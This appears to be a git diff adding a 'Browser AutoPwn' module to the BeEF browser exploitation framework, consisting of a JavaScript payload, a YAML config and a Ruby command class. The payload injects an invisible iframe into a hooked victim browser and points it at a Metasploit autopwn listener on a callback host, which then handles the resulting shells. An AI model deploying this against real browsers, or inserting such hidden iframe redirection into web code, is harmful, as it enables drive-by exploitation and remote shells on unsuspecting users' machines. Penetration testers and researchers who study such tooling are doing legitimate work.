diff --git a/modules/metasploit/browser_autopwn/command.js b/modules/metasploit/browser_autopwn/command.js new file mode 100644 index 000000000..5d26889e1 --- /dev/null +++ b/modules/metasploit/browser_autopwn/command.js @@ -0,0 +1,5 @@ +beef.execute(function() { + var sploit = beef.dom.createInvisibleIframe(); + sploit.src = '<%= @sploit_url %>'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); +}); diff --git a/modules/metasploit/browser_autopwn/config.yaml b/modules/metasploit/browser_autopwn/config.yaml new file mode 100644 index 000000000..d00c59086 --- /dev/null +++ b/modules/metasploit/browser_autopwn/config.yaml @@ -0,0 +1,10 @@ +beef: + module: + browser_autopwn: + enable: true + category: "Metasploit" + name: "Browser AutoPwn" + description: "This module will redirect a user to the autopwn port on a Metasploit listener and then rely on Metasploit to handle the resulting shells. If the Metasploit extension is loaded, this module will pre-populate the URL to the pre-launched listener. Otherwise, enter the URL you would like the user to be redirected to." + authors: ["sussurro"] + target: + working: ["ALL"] diff --git a/modules/metasploit/browser_autopwn/module.rb b/modules/metasploit/browser_autopwn/module.rb new file mode 100644 index 000000000..7bb6791f1 --- /dev/null +++ b/modules/metasploit/browser_autopwn/module.rb @@ -0,0 +1,44 @@ +class Browser_autopwn < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + @conf = BeEF::Core::Configuration.instance + @uri = 'Enter AutoPwn URL Here' + begin + if @conf.get('beef.extension.metasploit.enable') + host = @conf.get('beef.extension.metasploit.callback_host') + url = @conf.get('beef.extension.metasploit.autopwn_url') + @uri = "http://#{host}:8080/#{url}" + end + end + super({ + 'Name' => 'Browser Autopwn', + 'Description' => "This module will redirect a user to the autopwn port on a Metasploit listener and then rely on Metasploit to handle the resulting shells. If the Metasploit extension is loaded, this module will pre-populate the URL to the pre-launched listener. Otherwise, enter the URL you would like the user to be redirected to.", + 'Category' => 'Metasploit', + 'Author' => ['sussurro'], + 'Data' => [ + { 'name' => 'sploit_url', 'ui_label' => 'Listener URL', 'value' => @uri, 'width'=>'200px' }, + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + + end + + # This method is being called when a hooked browser sends some + # data back to the framework. + # + def callback + save({'result' => @datastore['result']}) + end + +end